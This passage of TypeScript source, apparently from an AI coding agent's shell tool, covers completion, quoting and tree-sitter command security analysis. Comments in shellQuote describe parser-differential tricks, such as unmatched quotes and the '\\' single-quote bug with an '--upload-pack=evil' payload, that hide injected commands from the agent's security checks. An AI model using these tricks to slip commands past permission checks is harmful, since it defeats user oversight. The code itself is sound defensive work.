return result?.commandPrefix ? [result.commandPrefix] : []
}
const prefixes: string[] = []
for (const subcmd of subcommands) {
const trimmed = subcmd.trim()
if (excludeSubcommand?.(trimmed)) continue
const result = await getCommandPrefixStatic(trimmed)
if (result?.commandPrefix) {
prefixes.push(result.commandPrefix)
}
}
if (prefixes.length === 0) return []
// Group prefixes by their first word (root command)
const groups = new Map<string, string[]>()
for (const prefix of prefixes) {
const root = prefix.split(' ')[0]!
const group = groups.get(root)
if (group) {
group.push(prefix)
} else {
groups.set(root, [prefix])
}
}
// Collapse each group via word-aligned LCP
const collapsed: string[] = []
for (const [, group] of groups) {
collapsed.push(longestCommonPrefix(group))
}
return collapsed
}
/**
* Compute the longest common prefix of strings, aligned to word boundaries.
* e.g. ["git fetch", "git worktree"] → "git"
* ["npm run test", "npm run lint"] → "npm run"
*/
function longestCommonPrefix(strings: string[]): string {
if (strings.length === 0) return ''
if (strings.length === 1) return strings[0]!
const first = strings[0]!
const words = first.split(' ')
let commonWords = words.length
for (let i = 1; i < strings.length; i++) {
const otherWords = strings[i]!.split(' ')
let shared = 0
while (
shared < commonWords &&
shared < otherWords.length &&
words[shared] === otherWords[shared]
) {
shared++
}
commonWords = shared
}
return words.slice(0, Math.max(1, commonWords)).join(' ')
}

View File

@@ -0,0 +1,53 @@
import { memoizeWithLRU } from '../memoize.js'
import specs from './specs/index.js'
export type CommandSpec = {
name: string
description?: string
subcommands?: CommandSpec[]
args?: Argument | Argument[]
options?: Option[]
}
export type Argument = {
name?: string
description?: string
isDangerous?: boolean
isVariadic?: boolean // repeats infinitely e.g. echo hello world
isOptional?: boolean
isCommand?: boolean // wrapper commands e.g. timeout, sudo
isModule?: string | boolean // for python -m and similar module args
isScript?: boolean // script files e.g. node script.js
}
export type Option = {
name: string | string[]
description?: string
args?: Argument | Argument[]
isRequired?: boolean
}
export async function loadFigSpec(
command: string,
): Promise<CommandSpec | null> {
if (!command || command.includes('/') || command.includes('\\')) return null
if (command.includes('..')) return null
if (command.startsWith('-') && command !== '-') return null
try {
const module = await import(`@withfig/autocomplete/build/${command}.js`)
return module.default || module
} catch {
return null
}
}
export const getCommandSpec = memoizeWithLRU(
async (command: string): Promise<CommandSpec | null> => {
const spec =
specs.find(s => s.name === command) ||
(await loadFigSpec(command)) ||
null
return spec
},
(command: string) => command,
)

View File

@@ -0,0 +1,259 @@
import type { SuggestionItem } from 'src/components/PromptInput/PromptInputFooterSuggestions.js'
import {
type ParseEntry,
quote,
tryParseShellCommand,
} from '../bash/shellQuote.js'
import { logForDebugging } from '../debug.js'
import { getShellType } from '../localInstaller.js'
import * as Shell from '../Shell.js'
// Constants
const MAX_SHELL_COMPLETIONS = 15
const SHELL_COMPLETION_TIMEOUT_MS = 1000
const COMMAND_OPERATORS = ['|', '||', '&&', ';'] as const
export type ShellCompletionType = 'command' | 'variable' | 'file'
type InputContext = {
prefix: string
completionType: ShellCompletionType
}
/**
* Check if a parsed token is a command operator (|, ||, &&, ;)
*/
function isCommandOperator(token: ParseEntry): boolean {
return (
typeof token === 'object' &&
token !== null &&
'op' in token &&
(COMMAND_OPERATORS as readonly string[]).includes(token.op as string)
)
}
/**
* Determine completion type based solely on prefix characteristics
*/
function getCompletionTypeFromPrefix(prefix: string): ShellCompletionType {
if (prefix.startsWith('$')) {
return 'variable'
}
if (
prefix.includes('/') ||
prefix.startsWith('~') ||
prefix.startsWith('.')
) {
return 'file'
}
return 'command'
}
/**
* Find the last string token and its index in parsed tokens
*/
function findLastStringToken(
tokens: ParseEntry[],
): { token: string; index: number } | null {
const i = tokens.findLastIndex(t => typeof t === 'string')
return i !== -1 ? { token: tokens[i] as string, index: i } : null
}
/**
* Check if we're in a context that expects a new command
* (at start of input or after a command operator)
*/
function isNewCommandContext(
tokens: ParseEntry[],
currentTokenIndex: number,
): boolean {
if (currentTokenIndex === 0) {
return true
}
const prevToken = tokens[currentTokenIndex - 1]
return prevToken !== undefined && isCommandOperator(prevToken)
}
/**
* Parse input to extract completion context
*/
function parseInputContext(input: string, cursorOffset: number): InputContext {
const beforeCursor = input.slice(0, cursorOffset)
// Check if it's a variable prefix, before expanding with shell-quote
const varMatch = beforeCursor.match(/\$[a-zA-Z_][a-zA-Z0-9_]*$/)
if (varMatch) {
return { prefix: varMatch[0], completionType: 'variable' }
}
// Parse with shell-quote
const parseResult = tryParseShellCommand(beforeCursor)
if (!parseResult.success) {
// Fallback to simple parsing
const tokens = beforeCursor.split(/\s+/)
const prefix = tokens[tokens.length - 1] || ''
const isFirstToken = tokens.length === 1 && !beforeCursor.includes(' ')
const completionType = isFirstToken
? 'command'
: getCompletionTypeFromPrefix(prefix)
return { prefix, completionType }
}
// Extract current token
const lastToken = findLastStringToken(parseResult.tokens)
if (!lastToken) {
// No string token found - check if after operator
const lastParsedToken = parseResult.tokens[parseResult.tokens.length - 1]
const completionType =
lastParsedToken && isCommandOperator(lastParsedToken)
? 'command'
: 'command' // Default to command at start
return { prefix: '', completionType }
}
// If there's a trailing space, the user is starting a new argument
if (beforeCursor.endsWith(' ')) {
// After first token (command) with space = file argument expected
return { prefix: '', completionType: 'file' }
}
// Determine completion type from context
const baseType = getCompletionTypeFromPrefix(lastToken.token)
// If it's clearly a file or variable based on prefix, use that type
if (baseType === 'variable' || baseType === 'file') {
return { prefix: lastToken.token, completionType: baseType }
}
// For command-like tokens, check context: are we starting a new command?
const completionType = isNewCommandContext(
parseResult.tokens,
lastToken.index,
)
? 'command'
: 'file' // Not after operator = file argument
return { prefix: lastToken.token, completionType }
}
/**
* Generate bash completion command using compgen
*/
function getBashCompletionCommand(
prefix: string,
completionType: ShellCompletionType,
): string {
if (completionType === 'variable') {
// Variable completion - remove $ prefix
const varName = prefix.slice(1)
return `compgen -v ${quote([varName])} 2>/dev/null`
} else if (completionType === 'file') {
// File completion with trailing slash for directories and trailing space for files
// Use 'while read' to prevent command injection from filenames containing newlines
return `compgen -f ${quote([prefix])} 2>/dev/null | head -${MAX_SHELL_COMPLETIONS} | while IFS= read -r f; do [ -d "$f" ] && echo "$f/" || echo "$f "; done`
} else {
// Command completion
return `compgen -c ${quote([prefix])} 2>/dev/null`
}
}
/**
* Generate zsh completion command using native zsh commands
*/
function getZshCompletionCommand(
prefix: string,
completionType: ShellCompletionType,
): string {
if (completionType === 'variable') {
// Variable completion - use zsh pattern matching for safe filtering
const varName = prefix.slice(1)
return `print -rl -- \${(k)parameters[(I)${quote([varName])}*]} 2>/dev/null`
} else if (completionType === 'file') {
// File completion with trailing slash for directories and trailing space for files
// Note: zsh glob expansion is safe from command injection (unlike bash for-in loops)
return `for f in ${quote([prefix])}*(N[1,${MAX_SHELL_COMPLETIONS}]); do [[ -d "$f" ]] && echo "$f/" || echo "$f "; done`
} else {
// Command completion - use zsh pattern matching for safe filtering
return `print -rl -- \${(k)commands[(I)${quote([prefix])}*]} 2>/dev/null`
}
}
/**
* Get completions for the given shell type
*/
async function getCompletionsForShell(
shellType: 'bash' | 'zsh',
prefix: string,
completionType: ShellCompletionType,
abortSignal: AbortSignal,
): Promise<SuggestionItem[]> {
let command: string
if (shellType === 'bash') {
command = getBashCompletionCommand(prefix, completionType)
} else if (shellType === 'zsh') {
command = getZshCompletionCommand(prefix, completionType)
} else {
// Unsupported shell type
return []
}
const shellCommand = await Shell.exec(command, abortSignal, 'bash', {
timeout: SHELL_COMPLETION_TIMEOUT_MS,
})
const result = await shellCommand.result
return result.stdout
.split('\n')
.filter((line: string) => line.trim())
.slice(0, MAX_SHELL_COMPLETIONS)
.map((text: string) => ({
id: text,
displayText: text,
description: undefined,
metadata: { completionType },
}))
}
/**
* Get shell completions for the given input
* Supports bash and zsh shells (matches Shell.ts execution support)
*/
export async function getShellCompletions(
input: string,
cursorOffset: number,
abortSignal: AbortSignal,
): Promise<SuggestionItem[]> {
const shellType = getShellType()
// Only support bash/zsh (matches Shell.ts execution support)
if (shellType !== 'bash' && shellType !== 'zsh') {
return []
}
try {
const { prefix, completionType } = parseInputContext(input, cursorOffset)
if (!prefix) {
return []
}
const completions = await getCompletionsForShell(
shellType,
prefix,
completionType,
abortSignal,
)
// Add inputSnapshot to all suggestions so we can detect when input changes
return completions.map(suggestion => ({
...suggestion,
metadata: {
...(suggestion.metadata as { completionType: ShellCompletionType }),
inputSnapshot: input,
},
}))
} catch (error) {
logForDebugging(`Shell completion failed: ${error}`)
return [] // Silent fail
}
}

View File

@@ -0,0 +1,28 @@
import { quote } from './shellQuote.js'
/**
* Parses a shell prefix that may contain an executable path and arguments.
*
* Examples:
* - "bash" -> quotes as 'bash'
* - "/usr/bin/bash -c" -> quotes as '/usr/bin/bash' -c
* - "C:\Program Files\Git\bin\bash.exe -c" -> quotes as 'C:\Program Files\Git\bin\bash.exe' -c
*
* @param prefix The shell prefix string containing executable and optional arguments
* @param command The command to be executed
* @returns The properly formatted command string with quoted components
*/
export function formatShellPrefixCommand(
prefix: string,
command: string,
): string {
// Split on the last space before a dash to separate executable from arguments
const spaceBeforeDash = prefix.lastIndexOf(' -')
if (spaceBeforeDash > 0) {
const execPath = prefix.substring(0, spaceBeforeDash)
const args = prefix.substring(spaceBeforeDash + 1)
return `${quote([execPath])} ${args} ${quote([command])}`
} else {
return `${quote([prefix])} ${quote([command])}`
}
}

View File

@@ -0,0 +1,304 @@
/**
* Safe wrappers for shell-quote library functions that handle errors gracefully
* These are drop-in replacements for the original functions
*/
import {
type ParseEntry,
parse as shellQuoteParse,
quote as shellQuoteQuote,
} from 'shell-quote'
import { logError } from '../log.js'
import { jsonStringify } from '../slowOperations.js'
export type { ParseEntry } from 'shell-quote'
export type ShellParseResult =
| { success: true; tokens: ParseEntry[] }
| { success: false; error: string }
export type ShellQuoteResult =
| { success: true; quoted: string }
| { success: false; error: string }
export function tryParseShellCommand(
cmd: string,
env?:
| Record<string, string | undefined>
| ((key: string) => string | undefined),
): ShellParseResult {
try {
const tokens =
typeof env === 'function'
? shellQuoteParse(cmd, env)
: shellQuoteParse(cmd, env)
return { success: true, tokens }
} catch (error) {
if (error instanceof Error) {
logError(error)
}
return {
success: false,
error: error instanceof Error ? error.message : 'Unknown parse error',
}
}
}
export function tryQuoteShellArgs(args: unknown[]): ShellQuoteResult {
try {
const validated: string[] = args.map((arg, index) => {
if (arg === null || arg === undefined) {
return String(arg)
}
const type = typeof arg
if (type === 'string') {
return arg as string
}
if (type === 'number' || type === 'boolean') {
return String(arg)
}
if (type === 'object') {
throw new Error(
`Cannot quote argument at index ${index}: object values are not supported`,
)
}
if (type === 'symbol') {
throw new Error(
`Cannot quote argument at index ${index}: symbol values are not supported`,
)
}
if (type === 'function') {
throw new Error(
`Cannot quote argument at index ${index}: function values are not supported`,
)
}
throw new Error(
`Cannot quote argument at index ${index}: unsupported type ${type}`,
)
})
const quoted = shellQuoteQuote(validated)
return { success: true, quoted }
} catch (error) {
if (error instanceof Error) {
logError(error)
}
return {
success: false,
error: error instanceof Error ? error.message : 'Unknown quote error',
}
}
}
/**
* Checks if parsed tokens contain malformed entries that suggest shell-quote
* misinterpreted the command. This happens when input contains ambiguous
* patterns (like JSON-like strings with semicolons) that shell-quote parses
* according to shell rules, producing token fragments.
*
* For example, `echo {"hi":"hi;evil"}` gets parsed with `;` as an operator,
* producing tokens like `{hi:"hi` (unbalanced brace). Legitimate commands
* produce complete, balanced tokens.
*
* Also detects unterminated quotes in the original command: shell-quote
* silently drops an unmatched `"` or `'` and parses the rest as unquoted,
* leaving no trace in the tokens. `echo "hi;evil | cat` (one unmatched `"`)
* is a bash syntax error, but shell-quote yields clean tokens with `;` as
* an operator. The token-level checks below can't catch this, so we walk
* the original command with bash quote semantics and flag odd parity.
*
* Security: This prevents command injection via HackerOne #3482049 where
* shell-quote's correct parsing of ambiguous input can be exploited.
*/
export function hasMalformedTokens(
command: string,
parsed: ParseEntry[],
): boolean {
// Check for unterminated quotes in the original command. shell-quote drops
// an unmatched quote without leaving any trace in the tokens, so this must
// inspect the raw string. Walk with bash semantics: backslash escapes the
// next char outside single-quotes; no escapes inside single-quotes.
let inSingle = false
let inDouble = false
let doubleCount = 0
let singleCount = 0
for (let i = 0; i < command.length; i++) {
const c = command[i]
if (c === '\\' && !inSingle) {
i++
continue
}
if (c === '"' && !inSingle) {
doubleCount++
inDouble = !inDouble
} else if (c === "'" && !inDouble) {
singleCount++
inSingle = !inSingle
}
}
if (doubleCount % 2 !== 0 || singleCount % 2 !== 0) return true
for (const entry of parsed) {
if (typeof entry !== 'string') continue
// Check for unbalanced curly braces
const openBraces = (entry.match(/{/g) || []).length
const closeBraces = (entry.match(/}/g) || []).length
if (openBraces !== closeBraces) return true
// Check for unbalanced parentheses
const openParens = (entry.match(/\(/g) || []).length
const closeParens = (entry.match(/\)/g) || []).length
if (openParens !== closeParens) return true
// Check for unbalanced square brackets
const openBrackets = (entry.match(/\[/g) || []).length
const closeBrackets = (entry.match(/\]/g) || []).length
if (openBrackets !== closeBrackets) return true
// Check for unbalanced double quotes
// Count quotes that aren't escaped (preceded by backslash)
// A token with an odd number of unescaped quotes is malformed
// eslint-disable-next-line custom-rules/no-lookbehind-regex -- gated by hasCommandSeparator check at caller, runs on short per-token strings
const doubleQuotes = entry.match(/(?<!\\)"/g) || []
if (doubleQuotes.length % 2 !== 0) return true
// Check for unbalanced single quotes
// eslint-disable-next-line custom-rules/no-lookbehind-regex -- same as above
const singleQuotes = entry.match(/(?<!\\)'/g) || []
if (singleQuotes.length % 2 !== 0) return true
}
return false
}
/**
* Detects commands containing '\' patterns that exploit the shell-quote library's
* incorrect handling of backslashes inside single quotes.
*
* In bash, single quotes preserve ALL characters literally - backslash has no
* special meaning. So '\' is just the string \ (the quote opens, contains \,
* and the next ' closes it). But shell-quote incorrectly treats \ as an escape
* character inside single quotes, causing '\' to NOT close the quoted string.
*
* This means the pattern '\' <payload> '\' hides <payload> from security checks
* because shell-quote thinks it's all one single-quoted string.
*/
export function hasShellQuoteSingleQuoteBug(command: string): boolean {
// Walk the command with correct bash single-quote semantics
let inSingleQuote = false
let inDoubleQuote = false
for (let i = 0; i < command.length; i++) {
const char = command[i]
// Handle backslash escaping outside of single quotes
if (char === '\\' && !inSingleQuote) {
// Skip the next character (it's escaped)
i++
continue
}
if (char === '"' && !inSingleQuote) {
inDoubleQuote = !inDoubleQuote
continue
}
if (char === "'" && !inDoubleQuote) {
inSingleQuote = !inSingleQuote
// Check if we just closed a single quote and the content ends with
// trailing backslashes. shell-quote's chunker regex '((\\'|[^'])*?)'
// incorrectly treats \' as an escape sequence inside single quotes,
// while bash treats backslash as literal. This creates a differential
// where shell-quote merges tokens that bash treats as separate.
//
// Odd trailing \'s = always a bug:
// '\' -> shell-quote: \' = literal ', still open. bash: \, closed.
// 'abc\' -> shell-quote: abc then \' = literal ', still open. bash: abc\, closed.
// '\\\' -> shell-quote: \\ + \', still open. bash: \\\, closed.
//
// Even trailing \'s = bug ONLY when a later ' exists in the command:
// '\\' alone -> shell-quote backtracks, both parsers agree string closes. OK.
// '\\' 'next' -> shell-quote: \' consumes the closing ', finds next ' as
// false close, merges tokens. bash: two separate tokens.
//
// Detail: the regex alternation tries \' before [^']. For '\\', it matches
// the first \ via [^'] (next char is \, not '), then the second \ via \'
// (next char IS '). This consumes the closing '. The regex continues reading
// until it finds another ' to close the match. If none exists, it backtracks
// to [^'] for the second \ and closes correctly. If a later ' exists (e.g.,
// the opener of the next single-quoted arg), no backtracking occurs and
// tokens merge. See H1 report: git ls-remote 'safe\\' '--upload-pack=evil' 'repo'
// shell-quote: ["git","ls-remote","safe\\\\ --upload-pack=evil repo"]
// bash: ["git","ls-remote","safe\\\\","--upload-pack=evil","repo"]
if (!inSingleQuote) {
let backslashCount = 0
let j = i - 1
while (j >= 0 && command[j] === '\\') {
backslashCount++
j--
}
if (backslashCount > 0 && backslashCount % 2 === 1) {
return true
}
// Even trailing backslashes: only a bug when a later ' exists that
// the chunker regex can use as a false closing quote. We check for
// ANY later ' because the regex doesn't respect bash quote state
// (e.g., a ' inside double quotes is also consumable).
if (
backslashCount > 0 &&
backslashCount % 2 === 0 &&
command.indexOf("'", i + 1) !== -1
) {
return true
}
}
continue
}
}
return false
}
export function quote(args: ReadonlyArray<unknown>): string {
// First try the strict validation
const result = tryQuoteShellArgs([...args])
if (result.success) {
return result.quoted
}
// If strict validation failed, use lenient fallback
// This handles objects, symbols, functions, etc. by converting them to strings
try {
const stringArgs = args.map(arg => {
if (arg === null || arg === undefined) {
return String(arg)
}
const type = typeof arg
if (type === 'string' || type === 'number' || type === 'boolean') {
return String(arg)
}
// For unsupported types, use JSON.stringify as a safe fallback
// This ensures we don't crash but still get a meaningful representation
return jsonStringify(arg)
})
return shellQuoteQuote(stringArgs)
} catch (error) {
// SECURITY: Never use JSON.stringify as a fallback for shell quoting.
// JSON.stringify uses double quotes which don't prevent shell command execution.
// For example, jsonStringify(['echo', '$(whoami)']) produces "echo" "$(whoami)"
if (error instanceof Error) {
logError(error)
}
throw new Error('Failed to quote shell arguments safely')
}
}

View File

@@ -0,0 +1,128 @@
import { quote } from './shellQuote.js'
/**
* Detects if a command contains a heredoc pattern
* Matches patterns like: <<EOF, <<'EOF', <<"EOF", <<-EOF, <<-'EOF', <<\EOF, etc.
*/
function containsHeredoc(command: string): boolean {
// Match heredoc patterns: << followed by optional -, then optional quotes or backslash, then word
// Matches: <<EOF, <<'EOF', <<"EOF", <<-EOF, <<-'EOF', <<\EOF
// Check for bit-shift operators first and exclude them
if (
/\d\s*<<\s*\d/.test(command) ||
/\[\[\s*\d+\s*<<\s*\d+\s*\]\]/.test(command) ||
/\$\(\(.*<<.*\)\)/.test(command)
) {
return false
}
// Now check for heredoc patterns
const heredocRegex = /<<-?\s*(?:(['"]?)(\w+)\1|\\(\w+))/
return heredocRegex.test(command)
}
/**
* Detects if a command contains multiline strings in quotes
*/
function containsMultilineString(command: string): boolean {
// Check for strings with actual newlines in them
// Handle escaped quotes by using a more sophisticated pattern
// Match single quotes: '...\n...' where content can include escaped quotes \'
// Match double quotes: "...\n..." where content can include escaped quotes \"
const singleQuoteMultiline = /'(?:[^'\\]|\\.)*\n(?:[^'\\]|\\.)*'/
const doubleQuoteMultiline = /"(?:[^"\\]|\\.)*\n(?:[^"\\]|\\.)*"/
return (
singleQuoteMultiline.test(command) || doubleQuoteMultiline.test(command)
)
}
/**
* Quotes a shell command appropriately, preserving heredocs and multiline strings
* @param command The command to quote
* @param addStdinRedirect Whether to add < /dev/null
* @returns The properly quoted command
*/
export function quoteShellCommand(
command: string,
addStdinRedirect: boolean = true,
): string {
// If command contains heredoc or multiline strings, handle specially
// The shell-quote library incorrectly escapes ! to \! in these cases
if (containsHeredoc(command) || containsMultilineString(command)) {
// For heredocs and multiline strings, we need to quote for eval
// but avoid shell-quote's aggressive escaping
// We'll use single quotes and escape only single quotes in the command
const escaped = command.replace(/'/g, "'\"'\"'")
const quoted = `'${escaped}'`
// Don't add stdin redirect for heredocs as they provide their own input
if (containsHeredoc(command)) {
return quoted
}
// For multiline strings without heredocs, add stdin redirect if needed
return addStdinRedirect ? `${quoted} < /dev/null` : quoted
}
// For regular commands, use shell-quote
if (addStdinRedirect) {
return quote([command, '<', '/dev/null'])
}
return quote([command])
}
/**
* Detects if a command already has a stdin redirect
* Match patterns like: < file, </path/to/file, < /dev/null, etc.
* But not <<EOF (heredoc), << (bit shift), or <(process substitution)
*/
export function hasStdinRedirect(command: string): boolean {
// Look for < followed by whitespace and a filename/path
// Negative lookahead to exclude: <<, <(
// Must be preceded by whitespace or command separator or start of string
return /(?:^|[\s;&|])<(?![<(])\s*\S+/.test(command)
}
/**
* Checks if stdin redirect should be added to a command
* @param command The command to check
* @returns true if stdin redirect can be safely added
*/
export function shouldAddStdinRedirect(command: string): boolean {
// Don't add stdin redirect for heredocs as it interferes with the heredoc terminator
if (containsHeredoc(command)) {
return false
}
// Don't add stdin redirect if command already has one
if (hasStdinRedirect(command)) {
return false
}
// For other commands, stdin redirect is generally safe
return true
}
/**
* Rewrites Windows CMD-style `>nul` redirects to POSIX `/dev/null`.
*
* The model occasionally hallucinates Windows CMD syntax (e.g., `ls 2>nul`)
* even though our bash shell is always POSIX (Git Bash / WSL on Windows).
* When Git Bash sees `2>nul`, it creates a literal file named `nul` — a
* Windows reserved device name that is extremely hard to delete and breaks
* `git add .` and `git clone`. See anthropics/claude-code#4928.
*
* Matches: `>nul`, `> NUL`, `2>nul`, `&>nul`, `>>nul` (case-insensitive)
* Does NOT match: `>null`, `>nullable`, `>nul.txt`, `cat nul.txt`
*
* Limitation: this regex does not parse shell quoting, so `echo ">nul"`
* will also be rewritten. This is acceptable collateral — it's extremely
* rare and rewriting to `/dev/null` inside a string is harmless.
*/
const NUL_REDIRECT_REGEX = /(\d?&?>+\s*)[Nn][Uu][Ll](?=\s|$|[|&;)\n])/g
export function rewriteWindowsNullRedirect(command: string): string {
return command.replace(NUL_REDIRECT_REGEX, '$1/dev/null')
}

View File

@@ -0,0 +1,14 @@
import type { CommandSpec } from '../registry.js'
const alias: CommandSpec = {
name: 'alias',
description: 'Create or list command aliases',
args: {
name: 'definition',
description: 'Alias definition in the form name=value',
isOptional: true,
isVariadic: true,
},
}
export default alias

View File

@@ -0,0 +1,18 @@
import type { CommandSpec } from '../registry.js'
import alias from './alias.js'
import nohup from './nohup.js'
import pyright from './pyright.js'
import sleep from './sleep.js'
import srun from './srun.js'
import time from './time.js'
import timeout from './timeout.js'
export default [
pyright,
timeout,
sleep,
alias,
nohup,
time,
srun,
] satisfies CommandSpec[]

View File

@@ -0,0 +1,13 @@
import type { CommandSpec } from '../registry.js'
const nohup: CommandSpec = {
name: 'nohup',
description: 'Run a command immune to hangups',
args: {
name: 'command',
description: 'Command to run with nohup',
isCommand: true,
},
}
export default nohup

View File

@@ -0,0 +1,91 @@
import type { CommandSpec } from '../registry.js'
export default {
name: 'pyright',
description: 'Type checker for Python',
options: [
{ name: ['--help', '-h'], description: 'Show help message' },
{ name: '--version', description: 'Print pyright version and exit' },
{
name: ['--watch', '-w'],
description: 'Continue to run and watch for changes',
},
{
name: ['--project', '-p'],
description: 'Use the configuration file at this location',
args: { name: 'FILE OR DIRECTORY' },
},
{ name: '-', description: 'Read file or directory list from stdin' },
{
name: '--createstub',
description: 'Create type stub file(s) for import',
args: { name: 'IMPORT' },
},
{
name: ['--typeshedpath', '-t'],
description: 'Use typeshed type stubs at this location',
args: { name: 'DIRECTORY' },
},
{
name: '--verifytypes',
description: 'Verify completeness of types in py.typed package',
args: { name: 'IMPORT' },
},
{
name: '--ignoreexternal',
description: 'Ignore external imports for --verifytypes',
},
{
name: '--pythonpath',
description: 'Path to the Python interpreter',
args: { name: 'FILE' },
},
{
name: '--pythonplatform',
description: 'Analyze for platform',
args: { name: 'PLATFORM' },
},
{
name: '--pythonversion',
description: 'Analyze for Python version',
args: { name: 'VERSION' },
},
{
name: ['--venvpath', '-v'],
description: 'Directory that contains virtual environments',
args: { name: 'DIRECTORY' },
},
{ name: '--outputjson', description: 'Output results in JSON format' },
{ name: '--verbose', description: 'Emit verbose diagnostics' },
{ name: '--stats', description: 'Print detailed performance stats' },
{
name: '--dependencies',
description: 'Emit import dependency information',
},
{
name: '--level',
description: 'Minimum diagnostic level',
args: { name: 'LEVEL' },
},
{
name: '--skipunannotated',
description: 'Skip type analysis of unannotated functions',
},
{
name: '--warnings',
description: 'Use exit code of 1 if warnings are reported',
},
{
name: '--threads',
description: 'Use up to N threads to parallelize type checking',
args: { name: 'N', isOptional: true },
},
],
args: {
name: 'files',
description:
'Specify files or directories to analyze (overrides config file)',
isVariadic: true,
isOptional: true,
},
} satisfies CommandSpec

View File

@@ -0,0 +1,13 @@
import type { CommandSpec } from '../registry.js'
const sleep: CommandSpec = {
name: 'sleep',
description: 'Delay for a specified amount of time',
args: {
name: 'duration',
description: 'Duration to sleep (seconds or with suffix like 5s, 2m, 1h)',
isOptional: false,
},
}
export default sleep

View File

@@ -0,0 +1,31 @@
import type { CommandSpec } from '../registry.js'
const srun: CommandSpec = {
name: 'srun',
description: 'Run a command on SLURM cluster nodes',
options: [
{
name: ['-n', '--ntasks'],
description: 'Number of tasks',
args: {
name: 'count',
description: 'Number of tasks to run',
},
},
{
name: ['-N', '--nodes'],
description: 'Number of nodes',
args: {
name: 'count',
description: 'Number of nodes to allocate',
},
},
],
args: {
name: 'command',
description: 'Command to run on the cluster',
isCommand: true,
},
}
export default srun

View File

@@ -0,0 +1,13 @@
import type { CommandSpec } from '../registry.js'
const time: CommandSpec = {
name: 'time',
description: 'Time a command',
args: {
name: 'command',
description: 'Command to time',
isCommand: true,
},
}
export default time

View File

@@ -0,0 +1,20 @@
import type { CommandSpec } from '../registry.js'
const timeout: CommandSpec = {
name: 'timeout',
description: 'Run a command with a time limit',
args: [
{
name: 'duration',
description: 'Duration to wait before timing out (e.g., 10, 5s, 2m)',
isOptional: false,
},
{
name: 'command',
description: 'Command to run',
isCommand: true,
},
],
}
export default timeout

View File

@@ -0,0 +1,506 @@
/**
* Tree-sitter AST analysis utilities for bash command security validation.
*
* These functions extract security-relevant information from tree-sitter
* parse trees, providing more accurate analysis than regex/shell-quote
* parsing. Each function takes a root node and command string, and returns
* structured data that can be used by security validators.
*
* The native NAPI parser returns plain JS objects — no cleanup needed.
*/
type TreeSitterNode = {
type: string
text: string
startIndex: number
endIndex: number
children: TreeSitterNode[]
childCount: number
}
export type QuoteContext = {
/** Command text with single-quoted content removed (double-quoted content preserved) */
withDoubleQuotes: string
/** Command text with all quoted content removed */
fullyUnquoted: string
/** Like fullyUnquoted but preserves quote characters (', ") */
unquotedKeepQuoteChars: string
}
export type CompoundStructure = {
/** Whether the command has compound operators (&&, ||, ;) at the top level */
hasCompoundOperators: boolean
/** Whether the command has pipelines */
hasPipeline: boolean
/** Whether the command has subshells */
hasSubshell: boolean
/** Whether the command has command groups ({...}) */
hasCommandGroup: boolean
/** Top-level compound operator types found */
operators: string[]
/** Individual command segments split by compound operators */
segments: string[]
}
export type DangerousPatterns = {
/** Has $() or backtick command substitution (outside quotes that would make it safe) */
hasCommandSubstitution: boolean
/** Has <() or >() process substitution */
hasProcessSubstitution: boolean
/** Has ${...} parameter expansion */
hasParameterExpansion: boolean
/** Has heredoc */
hasHeredoc: boolean
/** Has comment */
hasComment: boolean
}
export type TreeSitterAnalysis = {
quoteContext: QuoteContext
compoundStructure: CompoundStructure
/** Whether actual operator nodes (;, &&, ||) exist — if false, \; is just a word argument */
hasActualOperatorNodes: boolean
dangerousPatterns: DangerousPatterns
}
type QuoteSpans = {
raw: Array<[number, number]> // raw_string (single-quoted)
ansiC: Array<[number, number]> // ansi_c_string ($'...')
double: Array<[number, number]> // string (double-quoted)
heredoc: Array<[number, number]> // quoted heredoc_redirect
}
/**
* Single-pass collection of all quote-related spans.
* Previously this was 5 separate tree walks (one per type-set plus
* allQuoteTypes plus heredoc); fusing cuts tree-traversal ~5x.
*
* Replicates the per-type walk semantics: each original walk stopped at
* its own type. So the raw_string walk would recurse THROUGH a string
* node (not its type) to reach nested raw_string inside $(...), but the
* string walk would stop at the outer string. We track `inDouble` to
* collect the *outermost* string span per path, while still descending
* into $()/${} bodies to pick up inner raw_string/ansi_c_string.
*
* raw_string / ansi_c_string / quoted-heredoc bodies are literal text
* in bash (no expansion), so no nested quote nodes exist — return early.
*/
function collectQuoteSpans(
node: TreeSitterNode,
out: QuoteSpans,
inDouble: boolean,
): void {
switch (node.type) {
case 'raw_string':
out.raw.push([node.startIndex, node.endIndex])
return // literal body, no nested quotes possible
case 'ansi_c_string':
out.ansiC.push([node.startIndex, node.endIndex])
return // literal body
case 'string':
// Only collect the outermost string (matches old per-type walk
// which stops at first match). Recurse regardless — a nested
// $(cmd 'x') inside "..." has a real inner raw_string.
if (!inDouble) out.double.push([node.startIndex, node.endIndex])
for (const child of node.children) {
if (child) collectQuoteSpans(child, out, true)
}
return
case 'heredoc_redirect': {
// Quoted heredocs (<<'EOF', <<"EOF", <<\EOF): literal body.
// Unquoted (<<EOF) expands $()/${} — the body can contain
// $(cmd 'x') whose inner '...' IS a real raw_string node.
// Detection: heredoc_start text starts with '/"/\\
// Matches sync path's extractHeredocs({ quotedOnly: true }).
let isQuoted = false
for (const child of node.children) {
if (child && child.type === 'heredoc_start') {
const first = child.text[0]
isQuoted = first === "'" || first === '"' || first === '\\'
break
}
}
if (isQuoted) {
out.heredoc.push([node.startIndex, node.endIndex])
return // literal body, no nested quote nodes
}
// Unquoted: recurse into heredoc_body → command_substitution →
// inner quote nodes. The original per-type walks did NOT stop at
// heredoc_redirect (not in their type sets), so they recursed here.
break
}
}
for (const child of node.children) {
if (child) collectQuoteSpans(child, out, inDouble)
}
}
/**
* Builds a Set of all character positions covered by the given spans.
*/
function buildPositionSet(spans: Array<[number, number]>): Set<number> {
const set = new Set<number>()
for (const [start, end] of spans) {
for (let i = start; i < end; i++) {
set.add(i)
}
}
return set
}
/**
* Drops spans that are fully contained within another span, keeping only the
* outermost. Nested quotes (e.g., `"$(echo 'hi')"`) yield overlapping spans
* — the inner raw_string is found by recursing into the outer string node.
* Processing overlapping spans corrupts indices since removing/replacing the
* outer span shifts the inner span's start/end into stale positions.
*/
function dropContainedSpans<T extends readonly [number, number, ...unknown[]]>(
spans: T[],
): T[] {
return spans.filter(
(s, i) =>
!spans.some(
(other, j) =>
j !== i &&
other[0] <= s[0] &&
other[1] >= s[1] &&
(other[0] < s[0] || other[1] > s[1]),
),
)
}
/**
* Removes spans from a string, returning the string with those character
* ranges removed.
*/
function removeSpans(command: string, spans: Array<[number, number]>): string {
if (spans.length === 0) return command
// Drop inner spans that are fully contained in an outer one, then sort by
// start index descending so we can splice without offset shifts.
